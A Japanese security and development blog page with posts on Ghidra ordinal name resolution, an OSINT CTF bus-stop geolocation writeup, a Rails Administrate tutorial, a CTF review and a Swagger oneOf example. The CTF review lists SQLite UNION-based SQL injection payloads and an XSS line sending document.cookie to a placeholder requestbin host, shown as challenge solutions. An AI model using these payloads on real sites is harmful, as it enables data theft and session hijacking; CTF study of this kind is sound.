セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【Ghidra】wsock32.dllの関数名解決(Ordinal_N)

環境

ubuntu 18.04
Ghidra 9.1

やること

GhidraAuto Analysisでインポートしたファイルを分析させると、KERNEL32.DLLの関数名はしっかり紐づけてくれるのですが、他のものはうまくできず、Ordinal_(数字)となったりします。ので、これを上手く解決したい。

f:id:thinline196:20191114225705p:plain:w250


ここで同じ質問がされています

Ablity to load external libraries after loading a project · Issue #396 · NationalSecurityAgency/ghidra · GitHub

MFC42D.DLL Ordinal vs Name Question · Issue #316 · NationalSecurityAgency/ghidra · GitHub


解決

このリポジトリを使わさせていただきます。

github.com

  1. リポジトリをローカルに保存
  2. symbolsディレクトリを~/.ghidra/.ghidra_9.1_PUBLIC/にコピーします。(すでにある場合はうまいことやってください。.exportsファイルが肝です)
  3. Ghidraを再起動後、もう一度解析対象ファイルをimportしなおします。


これでいい感じになります。listingdecompilerでも上手く表示されるようです。

f:id:thinline196:20191114231814p:plain:w250

【xINTCTF】bus again Writeup - AVTokyo2019

この問題は

AVTokyo2019にて会場で同時開催されていた、OSINT系の問題が中心のctfの500点問題です。画像が二枚渡されるので、そこに載っているバス停の緯度経度を調べるというもの。

f:id:thinline196:20191103153236p:plain

f:id:thinline196:20191103153327j:plainf:id:thinline196:20191103153302j:plain



そもそも

こちらのスライドを事前に知っておりました。

www.slideshare.net


ちょうど一年前に出題されたバス問のwriteupとのことで、これあれば余裕で解けるでしょっ、、なんて思って解き始めたのですが、結局解けたのは翌日の寝起きのタイミングでした。ちなにみ、競技時間内に解けた方は1人だったようです。さすがです。

bus again

  • まず、2枚目のパトカーの写真から神奈川が関係していることを想定しました。(他にも色々勘繰ったのですが、結局この写真からはこの情報しか使わず)
  • 次にバスの情報をgoogle検索。ここは気合ですが、似ている色を探すことです。あとは神奈川ってことを頭に入れて、神奈川中央交通のバスであることを特定しました。

  • 神奈川中央交通のサイトに行き、運行状況や路線情報を探しに行きました。が、範囲が絞り込めませんでした。神奈川全土、、

    f:id:thinline196:20191103154829p:plain

    なんとか絞り込みたかったので、写真からヒントになりそうなものを挙げてみました。

  • 季節が冬前春前

  • 影の向き(明け方か夕暮れ前当たりなので、前者なら太陽は南東側、後者なら南西側にあるので、道はそれに垂直に伸びている(南西向きか北西向き?))
  • 山がある(上の条件からすると、南西か北西に山が見えている。)
  • 追い越し禁止のオレンジの線
  • 奥の道が右に曲がってる
  • 道の手前も実感右手前に曲がっている(えんじ色に塗られている)
  • 横断歩道の標識


これを頼りに神奈川の山の方を手当たり次第探したのですが当然見つからず数時間潰しました。


てことで車両の特定を試みました。(初めからやっておくべきでした) 検索ワードは神奈川中央交通, 2230, バス,車両, 車種など。するととあるサイトに行き着きます。

kanachango.web.fc2.com

すごいですよね。こちらで、ナンバー2230(未確定情報ではあるが)を検索しているうちに、ナンバーのほぼ確定情報が入手できました。 f:id:thinline196:20191103161634p:plain

改めてこの情報でぐぐると、神奈川中央交通西秦野営業所であることがほぼ確定します。
f:id:thinline196:20191103161819p:plain 秦野営業所-神奈川中央交通西 車両一覧(神奈中バス)




後は秦野営業所のバス停一覧とgoogleマップ(航空写真も)を利用して地道に探しました。手がかりとしては先ほどあげた、道の向きと横断歩道、えんじ色の道路と追い越し禁止、それと比較的細い道という点です。

https://www.kanachu.co.jp/bus/route/pdf/hadano.pdf

最終的にここになりました。

f:id:thinline196:20191103162726p:plain



振り返り

  • 写真は夕方だった。
  • 道は北西に伸びていた。(だよね?方向感覚ないので間違ってたらごめんなさい)
  • 道のおくは曲がってはいたが、思っていたより湾曲していなかった。(写真の撮り方だと思う)
  • 道の手前は曲がっていたというよりは、おそらく坂になっているための、減速用のえんじ色。
  • 写真とストリートビューの写りが全く違う。
  • 空港写真で手がかりにしていたのは、追い越し車線とえんじ色。カーブもヒントにしていたが、悪手だった。
  • 朝か夕の区別がつかないので、決め打ちは危険だった。
  • googleマップバスと調べると周辺のバス停が全てプロットされるのでおすすめ←コレ
f:id:thinline196:20191103162527p:plainf:id:thinline196:20191103162535p:plainf:id:thinline196:20191103162545p:plain


競技中に解いていた方も、時間帯の絞り込みで朝に絞り込んでいたため、若干手間取ったとツイートしておりました。

実際に解けた後は色々遠回りがあるなと感じますが、不確定情報が多かったので、ナンバーの絞り込みなんかも上に紹介した手順ではなく、自分の中で少しずつ固めていった足取りになっていたと思います。面白かったです。

【Rails】Administrateで独自の属性型を定義しReadonly等に対応する

目的

administrateの管理画面での属性の表示を色々といじりたいときに、新しいクラスを作成して、対応する方法です。例えば、readonlyな表示をしたり、ラジオボタンに対応したりなどです。下のような感じ。今回はreadonlyを例にしてやります。


f:id:thinline196:20191007171742p:plain
f:id:thinline196:20191007171746p:plain

完成系

HogeDashboardのidを下のように指定すれば、readonlyな表示になる。

class HogeDashboard < Administrate::BaseDashboard

  ATTRIBUTE_TYPES = {
    id: Field::NumberField.with_options(readonly: true),
  }
end



土台をadministrateより生成する

http://administrate-prototype.herokuapp.com/customizing_attribute_partials 上のページにあるように、既に用意されているNumberを継承して生成します。4つのファイルが生成されます。(上のページの先の説明と若干違う)

$ bin/rails g administrate:field number
      create  app/fields/number_field.rb
      create  app/views/fields/number_field/_show.html.erb
      create  app/views/fields/number_field/_index.html.erb
      create  app/views/fields/number_field/_form.html.erb



NumberFieldクラス

新たにreadonly?というインスタンスメソッドを追加します。(あとで自分で呼び出すコードを書くので、特に決まった名前はないです。)これは、ダッシュボードで指定する:readonlyの値をoptionsから取り出して返します。(この辺りの動作はfetch参照)

# app/fields/number_field.rb
require "administrate/field/base"

class NumberField < Administrate::Field::Base
  def to_s
    data
  end

  # ここから新規実装
  def readonly?
    options.fetch(:readonly,false)
  end
end



viewの部分

先ほど生成した残りの3つのファイルが表示部分を担当しております。今回はreadonlyということで、editのページでのみいじれないようにすれば、index等のページはそのままでも問題はないでしょう。なお私はslimを使っているのでerbの方とは若干書き方が異なります。

# app/views/fields/number_field/_form.html.slim
.field-unit__label
  = f.label field.attribute
.field-unit__field
  - if field.readonly?
    = f.text_field(field.attribute,disabled: "disabled")
  - else
    = f.text_field field.attribute


ifで先ほど実装したreadonly?を呼び、readonlyダッシュボードで指定されているか調べます。trueであれば、フィールドをreadonly(見た目の都合上disabledを使用しました)で返し、そうでなければ普通のNumberで描画します。

ラジオボタンなど他の実装であっても、ダッシュボードでwith_optionsにより適切な値を設定してあげ、それに対応する描画部分を(今回であればf.text_field(field.attribute,disabled: "disabled"))を書き換えてあげれば良いと思います。

復習回 maidakectf2019

この記事は

自分用です。。


参考

st98.github.io

qiita.com

qiita.com

Kancolle Engine (SQLi)

LIKE句にユーザ入力が入る問題でした。(問題ではsqlite3使用とのこと。) ワイルドカードとして、%が0文字以上の任意の文字列、_が任意の1文字を表すので、%をフォームに投げるとたくさんレコードが表示されるので気づけるとのこと。

$ ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;# ->で動くか確認。(カラム数はヒントとしてソースから推測できた)
$ ' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;# ->sqlite_masterテーブルからsqlカラムを抜くことで、作られているテーブル名とカラム名が取得できる。ここから、flagテーブルにthis_is_flagカラムが存在することがわかる。
$ ' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;#



Haiku contest

投稿内容を管理側で見てくれる(採点という名目)感じなサイト。Requestbinを送り先にしてリクエストを飛ばさせればokだったけれど、なんか上手くいかなかった。

<script>(new Image).src='http://requestbinのドメイン/先/?'+document.cookie</script>

上を投げれば、クッキーが抜けてそれがそのままフラグになる。

phpで書かれたフォームへのPOST

何気なく手間取ってしまった。$_POSTはContent-type: application/x-www-form-urlencodedmultipart/form-dataの形式で受け取るとのこと。なので、json形式で書いてもちゃんと受け取ってくれないです。

なので、x-www-form-urlencodedではa=1&b=1のようなクエリパラメータの形式で投げてあげましょう。

【Swagger3.0】1つのステータスコードに対して複数のレスポンスを定義 (oneOf)

状況

Swaggerで、とあるapiのレスポンスにおいて、「同じステータスコードを返すんだけれど、bodyの内容が違う場合がある」時、SwaggeroneOfという書き方で対応できます。(swagger3.0以上だったはず)


openapi: 3.0.0
...
省略
...
paths:
  /hello:
    get:
      tags:
        - hellos
      description: ハローが帰ってくるapiです。
      responses:
        '200':
          description: 登録されている支払い方法が返される。
          content:
            application/json:
              schema:
                oneOf:
                  - $ref: '#/components/responses/HelloResponse1'
                  - $ref: "#/components/responses/HelloResponse2"
              examples:
                response1:
                  summary: HelloResponse1の通常レスポンスです
                  value:
                    success1:
                      message_title: Response1
                      message: ハロー1のレスポンスのexampleです
                response2:
                  summary: HelloResponseの特別なレスポンスです
                  value:
                    success1:
                      message_title: Response2
                      message: ハロー2のレスポンスのexampleです
components:
  responses:
    HelloResponse1:
      type: object
      properties:
        success1:
          type: object
          properties:
            msg_title:
              type: string
              example: HelloResponse1
            message:
              type: string
              example: ハロー1のレスポンスです。
    HelloResponse2:
      type: object
      properties:
        success1:
          type: object
          properties:
            msg_title:
              type: string
              example: HelloResponse2
            message:
              type: string
              example: ハロー2のレスポンスです。



画面ではこう表示されます。 f:id:thinline196:20190918181302p:plain


examplesを定義したことにより、別のレスポンスを表示できるようになっています。 f:id:thinline196:20190918181502p:plain

f:id:thinline196:20190918181515p:plain


Schemaを選択すれば、oneOfを使用して定義した部分を見ることができます。 f:id:thinline196:20190918181701p:plain


あとはいい感じで定義してあげてください。レアケースかもしれませんが、意外と役立つと思います。